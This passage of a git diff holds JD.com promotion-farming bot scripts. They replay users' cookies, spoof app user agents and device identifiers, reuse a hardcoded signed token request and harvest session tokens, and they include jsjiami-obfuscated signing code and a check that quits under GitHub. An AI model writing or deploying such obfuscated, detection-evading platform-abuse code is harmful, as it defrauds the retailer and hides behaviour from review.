_0x15b967=0x0;_0x15b967<_0x100e54['length'];_0x15b967++){_0x2f48ed=(_0x2f48ed+0x1)%0x100;_0x351dd5=(_0x351dd5+_0x40a0d0[_0x2f48ed])%0x100;_0x275161=_0x40a0d0[_0x2f48ed];_0x40a0d0[_0x2f48ed]=_0x40a0d0[_0x351dd5];_0x40a0d0[_0x351dd5]=_0x275161;_0x22469d+=String['fromCharCode'](_0x100e54['charCodeAt'](_0x15b967)^_0x40a0d0[(_0x40a0d0[_0x2f48ed]+_0x40a0d0[_0x351dd5])%0x100]);}return _0x22469d;};_0x5108['WIeiSn']=_0x416a36;_0x5108['TdXuZs']={};_0x5108['KTjaYN']=!![];}var _0x730a38=_0x5108['TdXuZs'][_0x50b579];if(_0x730a38===undefined){if(_0x5108['EnDiiL']===undefined){_0x5108['EnDiiL']=!![];}_0x4606cd=_0x5108['WIeiSn'](_0x4606cd,_0x1a4950);_0x5108['TdXuZs'][_0x50b579]=_0x4606cd;}else{_0x4606cd=_0x730a38;}return _0x4606cd;};function getAA(_0x2ac542,_0x557cf9,_0x1dc011){var _0x22ebd6={'hPswk':function(_0x7caabe,_0x4f856b){return _0x7caabe+_0x4f856b;},'AShns':function(_0x3284d6,_0x2c8265){return _0x3284d6+_0x2c8265;},'ehytr':function(_0x5cea1f,_0x3a006f){return _0x5cea1f+_0x3a006f;},'YdjND':function(_0x5cbae7,_0x521dd2){return _0x5cbae7(_0x521dd2);}};let _0x210b66=_0x22ebd6[_0x5108('0','j96*')](_0x22ebd6[_0x5108('1','H]K5')](_0x22ebd6['ehytr'](_0x1dc011,',')+_0x2ac542+',',_0x557cf9),_0x5108('2','nEH7'));return _0x22ebd6['YdjND'](AA,_0x210b66);};_0xodj='jsjiami.com.v6'; +function dealReturn(type, data) { + try { + data = JSON.parse(data); + } catch (e) { + console.log(`执行任务异常`); + console.log(data); + $.runFalag = false; + $.canRun = false; + } + switch (type) { + case 'getSimpleActInfoVo': + if (data.result) { + $.shopid = data.data.venderId; + } + break; + case 'activityContent': + if (data.data && data.result && data.count === 0) { + $.activityData = data.data; + } else { + console.log(JSON.stringify(data)); + } + break; + case 'start': + if (data.data){ + $.gameToken = data.data; + }else{ + console.log(JSON.stringify(data)); + } + return; + case 'end': + if (data.data){ + $.endInfo = data.data; + }else{ + console.log(JSON.stringify(data)); + } + return; + case 'luckydraw': + case 'helpFriend': + case 'myfriends': + case 'myprize': + console.log(JSON.stringify(data)); + return; + default: + console.log(JSON.stringify(data)); + } +} +async function getUserInfo() { + const url = `https://lzdz-isv.isvjcloud.com/wxActionCommon/getUserInfo`; + const body = `pin=${encodeURIComponent($.pin)}`; + let myRequest = getPostRequest(url, body); + return new Promise(resolve => { + $.post(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + } + else { + if(data){ + data = JSON.parse(data); + if(data.count === 0 && data.result){ + $.attrTouXiang = data.data.yunMidImageUrl + != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + } + } + } + } catch (e) { + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} +function accessLogWithAD() { + let pageurl = `https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/activity/${$.activityID}?activityId=${$.activityID}&shareUuid=${$.shareUuid}` + console.log(`活动地址:`+pageurl); + let body = `venderId=${$.shopid}&code=99&pin=${encodeURIComponent($.pin)}&activityId=${$.activityID}&pageUrl=${encodeURIComponent(pageurl)}&subType=app&adSource=null` + let url=`https://lzdz-isv.isvjcloud.com/common/accessLogWithAD`; + let myRequest = getPostRequest(url, body); + return new Promise(resolve => { + $.post(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let setcookie = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + if(setcookie){ + let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] + if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ + $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' + $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function getMyPing() { + let url = 'https://lzdz-isv.isvjcloud.com/customer/getMyPing'; + let body = `userId=${$.shopid}&token=${encodeURIComponent($.token)}&fromType=APP`; + let myRequest = getPostRequest(url, body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + let setcookie = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + if(setcookie){ + let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + $.lz_jdpin_token = '' + if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ + $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + try { + data = JSON.parse(data); + } catch (e) { + console.log(`执行任务异常`); + console.log(data); + $.runFalag = false; + $.canRun = false; + } + if (data.data && data.data.secretPin) { + $.pin = data.data.secretPin + $.nickname = data.data.nickname + } else { + console.log(JSON.stringify(data)); + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getPostRequest(url, body) { + const headers = { + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Origin' : `https://lzdz-isv.isvjcloud.com`, + "User-Agent": $.UA, + 'Cookie': `${$.cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.pin}; ${$.lz_jdpin_token}`, + 'Host' : `lzdz-isv.isvjcloud.com`, + 'Referer' : `https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/activity/${$.activityID}?activityId=${$.activityID}&shareUuid=${$.shareUuid}`, + 'Accept-Language' : `zh-cn`, + 'Accept' : `application/json` + }; + return {url: url, method: `POST`, headers: headers, body: body}; +} +function getHtml() { + let config ={ + url:`https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/activity/${$.activityID}?activityId=${$.activityID}&shareUuid=${$.shareUuid}`, + headers: { + 'Host':'lzdz-isv.isvjcloud.com', + 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cookie': `IsvToken=${$.token};${$.cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.pin}; ${$.lz_jdpin_token}`, + "User-Agent": $.UA, + 'Accept-Language':'zh-cn', + 'Accept-Encoding':'gzip, deflate, br', + 'Connection':'keep-alive' + } + } + return new Promise(resolve => { + $.get(config, (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getWxCommonInfoToken () { + const url = `https://lzdz-isv.isvjcloud.com/wxCommonInfo/token`; + const method = `POST`; + const headers = { + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Origin' : `https://lzdz-isv.isvjcloud.com`, + 'User-Agent' : $.UA, + 'Cookie' : $.cookie, + 'Host' : `lzdz-isv.isvjcloud.com`, + 'Referer' : `https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/activity/${$.activityID}?activityId=${$.activityID}`, + 'Accept-Language' : `zh-cn`, + 'Accept' : `application/json` + }; + const body = ``; + const myRequest = {url: url, method: method, headers: headers, body: body}; + return new Promise(resolve => { + $.post(myRequest, async (err, resp, data) => { + try { + let res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY; + if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE; + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`token ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'area=2_2830_51828_0&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167802&client=apple&clientVersion=10.1.2&d_brand=apple&d_model=iPhone9%2C2&eid=eidI42470115RDhDRjM1NjktODdGQi00RQ%3D%3DB3mSBu%2BcGp7WhKUUyye8/kqi1lxzA3Dv6a89ttwC7YFdT6JFByyAtAfO0TOmN9G2os20ud7RosfkMq80&isBackground=N&joycious=94&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=5a8a5743a5d2a4110a8ed396bb047471ea120c6a&osVersion=14.6&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=d74c43486b7a3b14ac4de12fdeab8a93&st=1630157006494&sv=101', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': $.cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token = data['token'] + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data || []); + } + }) + await $.wait(10000) + resolve(); + }) +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} +var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */ +var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */ +function AA(s){ return binl2hex(core_md5(str2binl(s), s.length * chrsz));} +function core_md5(x, len){/* append padding */x[len >> 5] |= 0x80 << ((len) % 32);x[(((len + 64) >>> 9) << 4) + 14] = len;var a = 1732584193;var b = -271733879;var c = -1732584194;var d = 271733878;for(var i = 0; i < x.length; i += 16){var olda = a;var oldb = b;var oldc = c;var oldd = d;a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);c = md5_ff(c, d, a, b, x[i+10], 17, -42063);b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329);a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);c = md5_gg(c, d, a, b, x[i+11], 14, 643717713);b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083);c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562);b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174);d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);c = md5_hh(c, d, a, b, x[i+15], 16, 530742520);b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649);a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);a = safe_add(a, olda);b = safe_add(b, oldb);c = safe_add(c, oldc);d = safe_add(d, oldd);}return Array(a, b, c, d);}function md5_cmn(q, a, b, x, s, t){return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);}function md5_ff(a, b, c, d, x, s, t){return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);}function md5_gg(a, b, c, d, x, s, t){return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);}function md5_hh(a, b, c, d, x, s, t){return md5_cmn(b ^ c ^ d, a, b, x, s, t);}function md5_ii(a, b, c, d, x, s, t){return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);}function safe_add(x, y){var lsw = (x & 0xFFFF) + (y & 0xFFFF);var msw = (x >> 16) + (y >> 16) + (lsw >> 16);return (msw << 16) | (lsw & 0xFFFF);}function bit_rol(num, cnt){return (num << cnt) | (num >>> (32 - cnt));}function str2binl(str){var bin = Array();var mask = (1 << chrsz) - 1;for(var i = 0; i < str.length * chrsz; i += chrsz)bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (i%32);return bin;}function binl2hex(binarray){var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";var str = "";for(var i = 0; i < binarray.length * 4; i++){str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) +hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF);}return str;} + diff --git a/backUp/jd_jinggengjcq_dapainew.js b/backUp/jd_jinggengjcq_dapainew.js new file mode 100644 index 0000000..398464f --- /dev/null +++ b/backUp/jd_jinggengjcq_dapainew.js @@ -0,0 +1,535 @@ + +const $ = new Env("大牌联合"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +const cp = $.isNode() ? require('child_process') : ''; +let cookiesArr = [], cookie = '', message = ''; +const Base64 = require("js-base64") +let ownCode = null; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + authorCodeList = await 